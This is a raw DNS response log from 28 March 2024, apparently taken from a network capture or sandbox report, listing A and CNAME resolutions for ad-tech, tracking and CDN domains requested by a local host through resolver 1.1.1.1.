Mar 28, 2024 09:52:34.286573887 CET	1.1.1.1	192.168.2.4	0x7f26	No error (0)	ads.servenobid.com		3.231.126.214	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.286573887 CET	1.1.1.1	192.168.2.4	0x7f26	No error (0)	ads.servenobid.com		52.203.227.220	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.286573887 CET	1.1.1.1	192.168.2.4	0x7f26	No error (0)	ads.servenobid.com		54.227.46.160	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.286573887 CET	1.1.1.1	192.168.2.4	0x7f26	No error (0)	ads.servenobid.com		18.205.142.108	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.286573887 CET	1.1.1.1	192.168.2.4	0x7f26	No error (0)	ads.servenobid.com		54.90.40.40	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.287592888 CET	1.1.1.1	192.168.2.4	0x2a61	No error (0)	sync.e-planning.net	ads.us.e-planning.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.289263010 CET	1.1.1.1	192.168.2.4	0x7ca8	No error (0)	load.exelator.com	loadus.tm.ssl.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.289263010 CET	1.1.1.1	192.168.2.4	0x7ca8	No error (0)	loadus.tm.ssl.exelator.com	us-east.load.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.289263010 CET	1.1.1.1	192.168.2.4	0x7ca8	No error (0)	us-east.load.exelator.com	load-use1.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.289263010 CET	1.1.1.1	192.168.2.4	0x7ca8	No error (0)	load-use1.exelator.com		50.16.197.56	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.294092894 CET	1.1.1.1	192.168.2.4	0xa377	No error (0)	usync.gumgum.com		52.203.159.247	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.294092894 CET	1.1.1.1	192.168.2.4	0xa377	No error (0)	usync.gumgum.com		52.207.14.193	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.294092894 CET	1.1.1.1	192.168.2.4	0xa377	No error (0)	usync.gumgum.com		52.205.147.249	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.294092894 CET	1.1.1.1	192.168.2.4	0xa377	No error (0)	usync.gumgum.com		52.3.29.96	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.294092894 CET	1.1.1.1	192.168.2.4	0xa377	No error (0)	usync.gumgum.com		54.86.0.235	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.294092894 CET	1.1.1.1	192.168.2.4	0xa377	No error (0)	usync.gumgum.com		44.207.26.76	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.294092894 CET	1.1.1.1	192.168.2.4	0xa377	No error (0)	usync.gumgum.com		35.170.221.127	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.294092894 CET	1.1.1.1	192.168.2.4	0xa377	No error (0)	usync.gumgum.com		52.72.54.211	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.294142962 CET	1.1.1.1	192.168.2.4	0x5730	No error (0)	load.exelator.com	loadus.tm.ssl.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.294142962 CET	1.1.1.1	192.168.2.4	0x5730	No error (0)	loadus.tm.ssl.exelator.com	us-east.load.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.294142962 CET	1.1.1.1	192.168.2.4	0x5730	No error (0)	us-east.load.exelator.com	load-use1.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.294184923 CET	1.1.1.1	192.168.2.4	0xb7a5	No error (0)	sync.e-planning.net	ads.us.e-planning.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.294184923 CET	1.1.1.1	192.168.2.4	0xb7a5	No error (0)	ads.us.e-planning.net		172.98.26.246	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.300491095 CET	1.1.1.1	192.168.2.4	0x72d0	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.300491095 CET	1.1.1.1	192.168.2.4	0x72d0	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.300491095 CET	1.1.1.1	192.168.2.4	0x72d0	No error (0)	s.twitter.com		104.244.42.67	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.301620007 CET	1.1.1.1	192.168.2.4	0x2086	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.301620007 CET	1.1.1.1	192.168.2.4	0x2086	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.320034981 CET	1.1.1.1	192.168.2.4	0x5d53	No error (0)	nmcsync.imrworldwide.com	nmc-bifrost-green.ew1-red.nielsendigital.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.320034981 CET	1.1.1.1	192.168.2.4	0x5d53	No error (0)	nmc-bifrost-green.ew1-red.nielsendigital.net		52.210.206.4	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.320034981 CET	1.1.1.1	192.168.2.4	0x5d53	No error (0)	nmc-bifrost-green.ew1-red.nielsendigital.net		52.51.207.189	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.320034981 CET	1.1.1.1	192.168.2.4	0x5d53	No error (0)	nmc-bifrost-green.ew1-red.nielsendigital.net		34.241.108.178	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.320477009 CET	1.1.1.1	192.168.2.4	0x4972	No error (0)	nmcsync.imrworldwide.com	nmc-bifrost-green.uw2-red.nielsendigital.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.322365046 CET	1.1.1.1	192.168.2.4	0x287a	No error (0)	secure-gl.imrworldwide.com	d8ghbpr3r4dzt.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.322365046 CET	1.1.1.1	192.168.2.4	0x287a	No error (0)	d8ghbpr3r4dzt.cloudfront.net		18.160.18.32	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.322365046 CET	1.1.1.1	192.168.2.4	0x287a	No error (0)	d8ghbpr3r4dzt.cloudfront.net		18.160.18.79	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.322365046 CET	1.1.1.1	192.168.2.4	0x287a	No error (0)	d8ghbpr3r4dzt.cloudfront.net		18.160.18.17	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.322365046 CET	1.1.1.1	192.168.2.4	0x287a	No error (0)	d8ghbpr3r4dzt.cloudfront.net		18.160.18.84	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.322865963 CET	1.1.1.1	192.168.2.4	0x361f	No error (0)	secure-gl.imrworldwide.com	d8ghbpr3r4dzt.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.335643053 CET	1.1.1.1	192.168.2.4	0xada8	No error (0)	nym1-ib.adnxs.com		68.67.160.75	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.335643053 CET	1.1.1.1	192.168.2.4	0xada8	No error (0)	nym1-ib.adnxs.com		68.67.160.132	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.335643053 CET	1.1.1.1	192.168.2.4	0xada8	No error (0)	nym1-ib.adnxs.com		68.67.160.26	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.335643053 CET	1.1.1.1	192.168.2.4	0xada8	No error (0)	nym1-ib.adnxs.com		68.67.160.184	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.335643053 CET	1.1.1.1	192.168.2.4	0xada8	No error (0)	nym1-ib.adnxs.com		68.67.179.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.335643053 CET	1.1.1.1	192.168.2.4	0xada8	No error (0)	nym1-ib.adnxs.com		68.67.160.76	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.335643053 CET	1.1.1.1	192.168.2.4	0xada8	No error (0)	nym1-ib.adnxs.com		68.67.179.164	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.335643053 CET	1.1.1.1	192.168.2.4	0xada8	No error (0)	nym1-ib.adnxs.com		68.67.160.114	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.335643053 CET	1.1.1.1	192.168.2.4	0xada8	No error (0)	nym1-ib.adnxs.com		68.67.178.10	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.335643053 CET	1.1.1.1	192.168.2.4	0xada8	No error (0)	nym1-ib.adnxs.com		68.67.179.87	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.335643053 CET	1.1.1.1	192.168.2.4	0xada8	No error (0)	nym1-ib.adnxs.com		68.67.160.24	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.335643053 CET	1.1.1.1	192.168.2.4	0xada8	No error (0)	nym1-ib.adnxs.com		68.67.181.211	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.335700035 CET	1.1.1.1	192.168.2.4	0x2e66	No error (0)	api.attentionxyz.com		34.117.222.118	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.384874105 CET	1.1.1.1	192.168.2.4	0x2230	No error (0)	spl.zeotap.com		104.22.50.98	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.384874105 CET	1.1.1.1	192.168.2.4	0x2230	No error (0)	spl.zeotap.com		104.22.51.98	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.384874105 CET	1.1.1.1	192.168.2.4	0x2230	No error (0)	spl.zeotap.com		172.67.40.173	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.386007071 CET	1.1.1.1	192.168.2.4	0x1f38	No error (0)	spl.zeotap.com			65	IN (0x0001)	false
Mar 28, 2024 09:52:34.386338949 CET	1.1.1.1	192.168.2.4	0x547c	No error (0)	i6.liadm.com	idaas6.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.386338949 CET	1.1.1.1	192.168.2.4	0x547c	No error (0)	idaas6.cph.liveintent.com		52.203.99.111	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.386338949 CET	1.1.1.1	192.168.2.4	0x547c	No error (0)	idaas6.cph.liveintent.com		34.194.29.142	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.386338949 CET	1.1.1.1	192.168.2.4	0x547c	No error (0)	idaas6.cph.liveintent.com		34.194.241.212	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.386796951 CET	1.1.1.1	192.168.2.4	0x6b2a	No error (0)	i6.liadm.com	idaas6.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.401597977 CET	1.1.1.1	192.168.2.4	0x8937	No error (0)	www.filepicker.io	cdn.filepicker.io		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.401597977 CET	1.1.1.1	192.168.2.4	0x8937	No error (0)	cdn.filepicker.io	d.sni.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.421802044 CET	1.1.1.1	192.168.2.4	0xdca	No error (0)	www.filepicker.io	cdn.filepicker.io		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.421802044 CET	1.1.1.1	192.168.2.4	0xdca	No error (0)	cdn.filepicker.io	d.sni.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.472429991 CET	1.1.1.1	192.168.2.4	0x4763	No error (0)	inv-nets.admixer.net		216.219.92.22	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.580518007 CET	1.1.1.1	192.168.2.4	0x800c	No error (0)	match.prod.bidr.io		52.70.229.134	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.580518007 CET	1.1.1.1	192.168.2.4	0x800c	No error (0)	match.prod.bidr.io		54.161.219.25	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.580518007 CET	1.1.1.1	192.168.2.4	0x800c	No error (0)	match.prod.bidr.io		54.166.225.0	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.580518007 CET	1.1.1.1	192.168.2.4	0x800c	No error (0)	match.prod.bidr.io		54.158.112.225	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.580518007 CET	1.1.1.1	192.168.2.4	0x800c	No error (0)	match.prod.bidr.io		54.158.70.147	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.580518007 CET	1.1.1.1	192.168.2.4	0x800c	No error (0)	match.prod.bidr.io		54.160.169.247	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.580518007 CET	1.1.1.1	192.168.2.4	0x800c	No error (0)	match.prod.bidr.io		54.159.124.221	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.580518007 CET	1.1.1.1	192.168.2.4	0x800c	No error (0)	match.prod.bidr.io		54.144.215.144	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.835536957 CET	1.1.1.1	192.168.2.4	0xd037	No error (0)	sync.adkernel.com	1.cpm.ak-is2.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.835536957 CET	1.1.1.1	192.168.2.4	0xd037	No error (0)	1.cpm.ak-is2.net		174.137.133.32	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.836404085 CET	1.1.1.1	192.168.2.4	0x173d	No error (0)	sync.adkernel.com	1.cpm.ak-is2.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.868392944 CET	1.1.1.1	192.168.2.4	0x3e28	No error (0)	partners.tremorhub.com	partners-alb-1113315349.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.868392944 CET	1.1.1.1	192.168.2.4	0x3e28	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		3.208.144.215	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.868392944 CET	1.1.1.1	192.168.2.4	0x3e28	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		52.20.155.182	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.868392944 CET	1.1.1.1	192.168.2.4	0x3e28	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		35.169.52.227	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.868392944 CET	1.1.1.1	192.168.2.4	0x3e28	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		3.93.32.71	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.868392944 CET	1.1.1.1	192.168.2.4	0x3e28	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		44.199.161.71	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.868392944 CET	1.1.1.1	192.168.2.4	0x3e28	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		18.213.142.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.868392944 CET	1.1.1.1	192.168.2.4	0x3e28	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		52.73.224.74	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.868392944 CET	1.1.1.1	192.168.2.4	0x3e28	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		52.20.254.92	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.868755102 CET	1.1.1.1	192.168.2.4	0x7dfe	No error (0)	partners.tremorhub.com	partners-alb-1113315349.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.906385899 CET	1.1.1.1	192.168.2.4	0x5c92	No error (0)	onesignal.com		104.18.214.59	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.906385899 CET	1.1.1.1	192.168.2.4	0x5c92	No error (0)	onesignal.com		104.18.215.59	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.907145023 CET	1.1.1.1	192.168.2.4	0xaac8	No error (0)	ib.adnxs.com	g.geo.appnexusgslb.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.907145023 CET	1.1.1.1	192.168.2.4	0xaac8	No error (0)	g.geo.appnexusgslb.net	ib.anycast.adnxs.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:34.907145023 CET	1.1.1.1	192.168.2.4	0xaac8	No error (0)	ib.anycast.adnxs.com		68.67.179.166	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.907145023 CET	1.1.1.1	192.168.2.4	0xaac8	No error (0)	ib.anycast.adnxs.com		68.67.178.10	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.907145023 CET	1.1.1.1	192.168.2.4	0xaac8	No error (0)	ib.anycast.adnxs.com		68.67.161.208	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.907145023 CET	1.1.1.1	192.168.2.4	0xaac8	No error (0)	ib.anycast.adnxs.com		68.67.160.137	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.907145023 CET	1.1.1.1	192.168.2.4	0xaac8	No error (0)	ib.anycast.adnxs.com		68.67.161.182	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.907145023 CET	1.1.1.1	192.168.2.4	0xaac8	No error (0)	ib.anycast.adnxs.com		68.67.160.186	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.907145023 CET	1.1.1.1	192.168.2.4	0xaac8	No error (0)	ib.anycast.adnxs.com		68.67.181.211	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.907145023 CET	1.1.1.1	192.168.2.4	0xaac8	No error (0)	ib.anycast.adnxs.com		68.67.160.76	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.907145023 CET	1.1.1.1	192.168.2.4	0xaac8	No error (0)	ib.anycast.adnxs.com		68.67.160.184	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.907145023 CET	1.1.1.1	192.168.2.4	0xaac8	No error (0)	ib.anycast.adnxs.com		68.67.160.132	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.907145023 CET	1.1.1.1	192.168.2.4	0xaac8	No error (0)	ib.anycast.adnxs.com		68.67.160.75	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.907145023 CET	1.1.1.1	192.168.2.4	0xaac8	No error (0)	ib.anycast.adnxs.com		68.67.179.164	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:34.911691904 CET	1.1.1.1	192.168.2.4	0xd7cd	No error (0)	onesignal.com			65	IN (0x0001)	false
Mar 28, 2024 09:52:34.911799908 CET	1.1.1.1	192.168.2.4	0x3893	No error (0)	aax-us-east.amazon-adsystem.com		209.54.183.62	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:35.089066029 CET	1.1.1.1	192.168.2.4	0x22cc	No error (0)	polyfill.io	polyfill.io.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:35.089658022 CET	1.1.1.1	192.168.2.4	0x899c	No error (0)	polyfill.io	polyfill.io.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:35.344038010 CET	1.1.1.1	192.168.2.4	0x9ca2	No error (0)	cm.smadex.com		18.160.10.95	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:35.344038010 CET	1.1.1.1	192.168.2.4	0x9ca2	No error (0)	cm.smadex.com		18.160.10.120	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:35.344038010 CET	1.1.1.1	192.168.2.4	0x9ca2	No error (0)	cm.smadex.com		18.160.10.22	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:35.344038010 CET	1.1.1.1	192.168.2.4	0x9ca2	No error (0)	cm.smadex.com		18.160.10.82	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:36.251424074 CET	1.1.1.1	192.168.2.4	0xde6	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:36.251424074 CET	1.1.1.1	192.168.2.4	0xde6	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:36.251424074 CET	1.1.1.1	192.168.2.4	0xde6	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:36.251424074 CET	1.1.1.1	192.168.2.4	0xde6	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:36.251424074 CET	1.1.1.1	192.168.2.4	0xde6	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:36.252691984 CET	1.1.1.1	192.168.2.4	0x8c18	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:37.895133018 CET	1.1.1.1	192.168.2.4	0xf95a	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:37.895133018 CET	1.1.1.1	192.168.2.4	0xf95a	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:37.895133018 CET	1.1.1.1	192.168.2.4	0xf95a	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:37.895133018 CET	1.1.1.1	192.168.2.4	0xf95a	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		34.200.65.202	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:37.895133018 CET	1.1.1.1	192.168.2.4	0xf95a	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		3.225.218.10	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:37.895495892 CET	1.1.1.1	192.168.2.4	0xec07	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:37.895495892 CET	1.1.1.1	192.168.2.4	0xec07	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:37.895495892 CET	1.1.1.1	192.168.2.4	0xec07	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:37.900316000 CET	1.1.1.1	192.168.2.4	0x92e4	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:37.900439978 CET	1.1.1.1	192.168.2.4	0x48d5	No error (0)	securepubads.g.doubleclick.net	securepubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:37.900439978 CET	1.1.1.1	192.168.2.4	0x48d5	No error (0)	securepubads46.g.doubleclick.net		172.253.115.156	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:37.900439978 CET	1.1.1.1	192.168.2.4	0x48d5	No error (0)	securepubads46.g.doubleclick.net		172.253.115.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:37.904323101 CET	1.1.1.1	192.168.2.4	0x5a43	No error (0)	sq-tungsten-ts.amazon-adsystem.com	tp.2632ce734-frontier.amazon-adsystem.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:37.904323101 CET	1.1.1.1	192.168.2.4	0x5a43	No error (0)	tp.2632ce734-frontier.amazon-adsystem.com	d3chd11h16n59r.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:37.904323101 CET	1.1.1.1	192.168.2.4	0x5a43	No error (0)	d3chd11h16n59r.cloudfront.net		54.192.29.138	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:37.904597998 CET	1.1.1.1	192.168.2.4	0x38e7	No error (0)	sq-tungsten-ts.amazon-adsystem.com	tp.2632ce734-frontier.amazon-adsystem.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:37.904597998 CET	1.1.1.1	192.168.2.4	0x38e7	No error (0)	tp.2632ce734-frontier.amazon-adsystem.com	d3chd11h16n59r.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:37.906213045 CET	1.1.1.1	192.168.2.4	0x1d52	No error (0)	pixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:37.906925917 CET	1.1.1.1	192.168.2.4	0x6e51	No error (0)	pixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:37.906925917 CET	1.1.1.1	192.168.2.4	0x6e51	No error (0)	global.px.quantserve.com		192.184.68.215	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:37.906925917 CET	1.1.1.1	192.168.2.4	0x6e51	No error (0)	global.px.quantserve.com		192.184.68.228	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:37.906925917 CET	1.1.1.1	192.168.2.4	0x6e51	No error (0)	global.px.quantserve.com		192.184.68.166	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:37.906925917 CET	1.1.1.1	192.168.2.4	0x6e51	No error (0)	global.px.quantserve.com		192.184.68.254	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:37.906925917 CET	1.1.1.1	192.168.2.4	0x6e51	No error (0)	global.px.quantserve.com		192.184.68.134	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:37.932023048 CET	1.1.1.1	192.168.2.4	0xfe7a	No error (0)	www.filepicker.io	cdn.filepicker.io		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:37.932023048 CET	1.1.1.1	192.168.2.4	0xfe7a	No error (0)	cdn.filepicker.io	d.sni.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:37.947135925 CET	1.1.1.1	192.168.2.4	0x3fe5	No error (0)	x.bidswitch.net	user-data-us-east.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:37.947135925 CET	1.1.1.1	192.168.2.4	0x3fe5	No error (0)	user-data-us-east.bidswitch.net		35.211.178.172	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:37.947901964 CET	1.1.1.1	192.168.2.4	0xaa91	No error (0)	www.filepicker.io	cdn.filepicker.io		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:37.947901964 CET	1.1.1.1	192.168.2.4	0xaa91	No error (0)	cdn.filepicker.io	d.sni.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:37.948012114 CET	1.1.1.1	192.168.2.4	0x1f0d	No error (0)	x.bidswitch.net	user-data-us-east.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:37.965631962 CET	1.1.1.1	192.168.2.4	0xd2be	No error (0)	a.audrte.com		52.215.59.81	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:37.965631962 CET	1.1.1.1	192.168.2.4	0xd2be	No error (0)	a.audrte.com		34.240.76.97	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:37.965631962 CET	1.1.1.1	192.168.2.4	0xd2be	No error (0)	a.audrte.com		63.33.13.151	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:37.965631962 CET	1.1.1.1	192.168.2.4	0xd2be	No error (0)	a.audrte.com		34.255.73.132	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:37.965631962 CET	1.1.1.1	192.168.2.4	0xd2be	No error (0)	a.audrte.com		18.200.218.222	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:37.965631962 CET	1.1.1.1	192.168.2.4	0xd2be	No error (0)	a.audrte.com		3.248.111.133	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:37.977494001 CET	1.1.1.1	192.168.2.4	0x2eaf	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:37.977494001 CET	1.1.1.1	192.168.2.4	0x2eaf	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
